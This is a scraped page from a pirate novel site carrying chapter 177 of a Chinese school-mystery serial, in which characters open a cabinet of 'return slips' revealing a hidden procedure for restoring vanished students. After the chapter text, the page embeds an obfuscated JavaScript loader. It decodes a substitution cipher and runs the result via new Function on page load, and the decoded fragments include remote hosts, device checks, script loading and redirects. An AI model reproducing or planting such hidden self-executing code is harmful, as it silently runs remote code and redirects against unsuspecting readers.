首页
第177章 是归还
返回
关灯 护眼:关 字号:小

第177章 是归还

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    第177章是归还(第1/2页)
    灯下的风从走廊尽头慢慢卷过来,带着旧灰和木头受潮后的味道,像一层看不见的手,顺着每个人的脊背轻轻摸了一遍。
    那扇柜门只开了半寸,里面露出来的木板边缘被磨得发白,标签上的字却清楚得刺眼。
    座位号。
    不是名字,不是编号表,不是处理记录,而是最原始、最直接的座位号。像有人把一个本该坐在教室里的人,连同他原来的位置一起塞进了这只柜子里,连归属都没彻底抹掉,只是先藏起来,等哪天需要再从名字底下拖出来。
    许沉盯着那张标签,胸口一点一点发紧。
    她忽然明白了班主任刚才那句“归位”是什么意思。不是把人处理掉,不是把人送去别处,而是把被挪走的那部分存在,重新放回一个能对应的位置上。只是后来,这个位置不再由人坐回去,而是由制度替代。座位还在,名字还在,页码还在,真正被归还的却只剩一个空洞的壳。
    “别碰柜门。”沈砚先一步开口,声音压得很低,“先看里面是什么结构。”
    老何已经蹲了下去,拿手电往缝里照。他只看了一眼,脸色就变了。
    “不是一层。”他说,“后面还有抽屉。”
    许沉也看见了。柜子内部不像普通储物柜,而像一整排从里往外叠的薄屉,每一层都贴着标签,只是大多数标签已经褪色,字看不全。最外层这一个,是座位号。下面那一层,隐约能看出班级和学号。再往里,还有更薄的纸片,边角发卷,像是更早一批记录。
    “开。”教导主任忽然开口。
    他声音很哑,像是盯着那道柜门看得太久,终于从某种迟来的确认里缓过神来。值夜老师立刻看了他一眼,像想阻止,却没敢出声。班主任站在后面,脸色比廊灯还白,整个人像被人用灯光一寸寸照出了底。
    “你说什么?”老何抬头。
    “我说开。”教导主任盯着柜门,“你们不是一直要看归还吗?看吧。”
    这话说出口时,连他自己都像被刺了一下。
    许沉没有立刻动。她看着教导主任,知道他现在这种态度不是主动配合,而是被逼到不得不承认。旧实验楼灯亮起来以后,楼里每一个藏层都在往外吐东西,他再想按住已经不可能了。真正的问题不在开不开,而在开了之后,会吐出什么。
    “谁来开?”她问。
    班主任喉结滚动,终于朝前走了一步。
    他站到柜门前时,手明显抖了一下。许沉注意到,他并没有直接碰外面的把手,而是先看了一眼柜侧边那枚小小的金属扣,像在确认是不是某种连锁结构。那一瞬间,她突然意识到,这柜子和外面的总闸一样,都不是单独存在的。它们是联动的,是同一套系统里的不同接口。晚读、座位、点名、临取、封楼、归还,全都靠这种东西互相咬合。
    班主任伸手时,动作很慢。
    柜门“嗒”地一声,彻底松开。
    里面没有预想中的灰尘乱飞,也没有什么扑出来的黑影。最先露出来的是一叠薄薄的卡片,边缘整齐,像被人收拾得很规矩。卡片上印着班级、日期、座位号,下面还有一行被钢笔压过的确认栏。许沉一眼扫过去,最上面那张卡片右下角写着“归还单”。
    她呼吸微微一滞。
    “归还单?”沈砚也看见了,眉头瞬间皱起来。
    老何先拿了一张出来,指腹才碰到纸边,整个人就僵住了。那张纸比想象中更薄,也更旧,纸面泛黄,但字迹还没散。最上面的标题清清楚楚写着:晚读后归还登记。下方是几行空格,原本该填学生姓名、座位号、现所在位置、接收人签名,最下面则有一栏加粗的备注:如核对无误,按原位归还。
    归还。
    许沉盯着那两个字,心里像忽然被什么重重撞了一下。
    原来他们要找的并不只是“删人机制”,还有“归还机制”。系统从来不是一味往外删,它也有把人送回来的那一套,只是这套流程后来被改成了筛除,归还单也被压进柜里,变成了临取流程的一部分。被带走的人,如果还能被归回,就不会真的从现实里消失。可现在,学校显然更习惯让人先失位,再认定为异常,再处理掉。
    班主任的脸色越看越差。
    “这东西不该在这里。”他声音发干。
    “那该在哪儿?”老何问。
    班主任没答。
    教导主任却忽然低声道:“原来……一直没停。”
    这句话太轻,却像把楼道里那层安静撕开了一条口子。许沉抬头看向他,知道他不是在说抽屉没停,而是在说这套归还流程从来没有废,只是被人拿来改了用途。旧实验楼里的灯一亮,抽屉里的归还单就像终于等到了它该被用回来的时候。
    她伸手从老何那里接过那张纸,低头看了一遍。
    (本章未完,请点击下一页继续阅读)第177章是归还(第2/2页)
    纸上有一个签名栏,右侧写着“接收老师”,左侧写着“归位确认”。签名已经褪得很浅,但依旧能辨出一两个字形。她的视线一点点往下滑,忽然在备注栏里看见一行细字,像是后来补上去的:
    若人已离座,先回座位,再做记名。
    许沉的指尖轻轻一顿。
    这不是筛除,是先把人放回原位。是先让座位重新对上人,再让名字和位置重新对应。她一下子想起之前那些总在晚读后空出来的座位,想起黑框名单里那些被圈过又变浅的名字,想起那句“旧位未清”。所谓未清,不是没收拾干净,而是座位还记得人。
    “这里面还有别的。”沈砚忽然说。
    他伸手往抽屉更深处探了一下,拽出来的是一摞折得很整齐的便签纸,纸角都被压平,像有人反复看过。最上面那张只写了一个座位号,下面一张则写着班级和姓名。再往下,是一连串被压在一起的单页,每一页都对应一个人。
    不是班级汇总,不是处理名单,而是逐个归还条目。
    老何翻了两页,喉咙一下子紧了:“这些是被临取过的人?”
    班主任没说话,脸上却露出一种近乎被当场拆穿的苍白。教导主任也没有反驳,只是把手背到身后,像忽然不想再看这些纸。值夜老师站在最后面,嘴唇抿得发白,像这才知道自己一直看守的不是废柜,而是被暂停的名册。
    许沉把那叠纸按在掌心里,能感觉到纸张边缘的硬度。
    有些名字写得很浅,像原本就快从纸上退下去;有些则被重新描过,字迹比周围更黑,显然是有人后来补签的。她沿着其中一页看下去,忽然在最底下看见一行小字:座位已归,广播待改。
    广播待改。
    她的心脏重重跳了一下。
    所以第175章灯亮起来,露出的不是单纯的楼,而是归还链条的一部分。有人把人从座位里拖出去,也有人把座位号、归还单、接收名册压在这里,等某个时机重新送回去。只是学校后来的那批人,把归还改成了筛除,把接收改成了临取,把“回座”改成了“处理完毕”。
    “这里面有我们要的人。”许沉抬头,声音稳得出奇。
    教导主任看着她,像突然失去了所有回避的余地。
    “你怎么知道?”他问。
    许沉把那张归还单举起来,指了指备注栏那句被补上的话。
    “因为它写的是回座,不是销号。”
    教导主任的眼神晃了一下,像被什么刺痛了。班主任则忽然闭上眼,手背上的青筋一根根绷起来,像正在强行压住某种不该浮出来的情绪。许沉看得分明,他不是第一次见这些纸。他只是第一次在灯下,没法继续装作没见过。
    张靖安把那页制度维护页重新展开,对照着手里的归还单,快速扫了一遍,忽然低声道:“这里的签名和总册末页能对上。”
    许沉立刻转头。
    “哪个签名?”
    “接收老师。”他说,“有两个,是同一个人。”
    她顺着他手指的方向看过去,果然在归还单角落看见了一个几乎被磨没的签名。和总册末页事故记录旁边那个字形一模一样。也就是说,归还流程和事故处理页不是两套系统,它们从来就是同一只手在写。
    她的呼吸一点点沉下去。
    就在这时,柜子最里面突然轻轻响了一声。
    不是纸响,也不是金属响,更像木片在柜内自己移动了一下。
    所有人都抬起头。
    班主任的脸色在一瞬间变得极难看,他盯着那一层层抽屉,像终于想起了什么,声音发紧:“别再往里拉了。”
    “为什么?”老何立刻问。
    班主任没有直接回答,只死死看着柜里,嘴唇都白了:“最里面那层,放的是先归还的人。”
    许沉的瞳孔微微一缩。
    “什么意思?”
    班主任喉结滚动,像在和某种旧规则硬碰硬:“先被带走、先被记空、又先被送回来的那一批。灯亮了以后,最先回响的也是他们。以前这层柜一开,广播就会跟着改口,座位号和名字会先回来一遍。”
    他说到这里时,声音已经几乎没了底。
    “这次不是筛除。”他像是怕她听不懂,又重复了一遍,几乎是从牙缝里挤出来的,“这次是归还。”
    话音落下的瞬间,柜子最深处忽然“咔哒”一声轻响,像某个锁舌在里面自己退了一格。
    紧接着,一张折了很久的纸,沿着最底层抽屉的缝隙,慢慢顶了出来。纸角先是露出一点,再一点,最后在灯下彻底展开一角。
    上面只印着一个名字。
    那名字被黑笔压过两次,仍旧没完全盖死。
    许沉看清的那一瞬间,整个人都停住了。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();